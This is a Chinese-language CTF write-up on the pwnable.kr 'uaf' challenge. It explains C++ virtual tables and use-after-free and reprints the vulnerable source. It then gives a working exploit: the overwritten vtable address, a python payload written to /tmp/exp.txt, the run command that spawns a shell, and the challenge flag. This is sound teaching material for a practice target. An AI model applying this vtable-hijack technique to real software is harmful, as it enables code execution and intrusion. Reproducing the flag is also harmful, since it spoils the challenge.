CTF Pwn中的 UAF 及 pwnable.kr UAF w
考察点
虚函数的内存地址空间
UAF
前置知识1：虚函数的内存地址空间
在C++中，如果类中有虚函数，那么它就会有一个虚函数表的指针__vfptr，在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类，最开始的内存数据记录着父类对象的拷贝（包括父类虚函数表指针和成员变量）。 之后是子类自己的成员变量数据。
源码
class Base
{
public:
virtual void f() { cout << "Base::f" << endl; }
virtual void g() { cout << "Base::g" << endl; }
virtual void h() { cout << "Base::h" << endl; }
int base;
protected:
private:
};
//子类1，无虚函数重载
class Child1 : public Base
{
public:
virtual void f1() { cout << "Child1::f1" << endl; }
virtual void g1() { cout << "Child1::g1" << endl; }
virtual void h1() { cout << "Child1::h1" << endl; }
int child1;
protected:
private:
};
//子类2，有1个虚函数重载
class Child2 : public Base
{
public:
virtual void f() { cout << "Child2::f" << endl; }
virtual void g2() { cout << "Child2::g2" << endl; }
virtual void h2() { cout << "Child2::h2" << endl; }
int child2;
protected:
private:
};
单一继承，无虚函数重载
单一继承，重载了虚函数
多重继承
总结
如果一个类中有虚函数，那么就会建立一张虚函数表vtable，子类继承父类vtable，若，父类的vtable中私有(private)虚函数,则子类vtable中同样有该私有(private)虚函数的地址。注意这并不是直接继承了私有(private)虚函数
当子类重载父类虚函数时，修改vtable同名函数地址，改为指向子类的函数地址，若子类中有新的虚函数，在vtable尾部添加。
vptr每个对象都会有一个，而vptable是每个类有一个，vptr指向vtable，一个类中就算有多个虚函数，也只有一个vptr；做多重继承的时候，继承了多个父类，就会有多个vptr
前置知识2：Use-After-Free
Dangling pointer
Dangling pointerDangling pointer即指向被释放的内存的指针，通常是由于释放内存后，未将指针置为NULL。
UAF原理
对Dangling pointer所指向内存进行use，如指针解引用等。
利用思路
将Dangling pointer所指向的内存重新分配回来，且尽可能使该内存中的内容可控（如重新分配为字符串）
举例
typedef struct
{
int id;
char *name;
int (*func)() //函数指针，可以理解为类里面的方法
};
假设有上述这样的一个结构体指针p。
在释放掉p之后，没有将p置NULL，所以p变成Dangling pointer，再通过重新分配，再次拿到p之前指向的这段地址空间。
之后，通过strcpy(p2,"addr")，或者其他方式，向这段地址空间写入新数据。
然后当我们通过其他函数，再次使用p指针，就会造成无法预料的后果，因为此时p指针指向的内存包含的已经是完全不同的数据
任意地址读：puts(p->name)--------------->puts(char*(addr2))
任意地址写：strcpy(p->name,data);------>strcpy((char *)(addr2),data)
控制流劫持：p->func()--------------------->call addr3
题目链接
http://pwnable.kr/play.php
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf.cpp
源码
#include
#include
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
分析
先checksec
因为这是一道开源pwn，给了我们源码，而且代码也不复杂，没有什么逆向的必要，为了方便理解，我就直接从源码进行分析。
类的继承和虚表
可以看出Man和Woman都是继承了Human类，并且可以看出只要我们将控制流劫持到Human类的私有虚函数give_shell，就能getshell了。
Man和Woman都继承了Human类的vtable，可以通过调试，跟随子类的构造函数，找到vtable。
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
UAF
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
可以看出程序给了我们3个选项
use 使用指针指向的函数
after 分配一段地址空间，我们可以用其将已经被free的内存，重新allocate
free 将指针指向的内存释放
组合起来就是UAF。
利用思路
调试找到虚表中give_shell函数地址。
free后再allocate，得到一个可控的地址空间.
为了在use，即m->introduce()时，将本来执行的introduce函数变成执行give_shell函数，在allocate的同时，改写虚表指针。
劫持控制流，执行give_shell
漏洞调试和利用
找到Man的构造函数，从而找到虚函数表
覆盖虚表指针
give_shell
Man::introduce
call introduce
可以看出在执行m->introduce()的时候，调用call [vptr+8]。
为了执行give_shell，我们覆盖虚表指针，让它前移8个字节，这样call [vptr+8]的时候就调用give_shell了。
allocate
从上图可以看出，原本Man对象分配的堆空间是0x18，即24字节，所以我们在再次分配的时候，也要分配24字节，保证自己拿到的是原先被free掉的地址空间。
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
...
delete m;
delete w;
因为先free m再free w，所以为了再次拿到m所指向的空间，我们需要分配两次，第一次得到w所指向的空间，第二次才再次得到m所指向的空间
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
在此题中，是通过从文件中读出内容覆盖原先的内容的，等同于之前写的strcpy(p->name,data)，读取的长度是命令行的argv[1]，打开的文件是argv[2]
0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00
getshell
python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/exp.txt
./uaf 24 /tmp/exp.txt
...
yay_f1ag_aft3r_pwning
参考链接
c++类实例在内存中的分配
http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
ichunqiu ctf pwn
https://www.ichunqiu.com/qad/course/57507
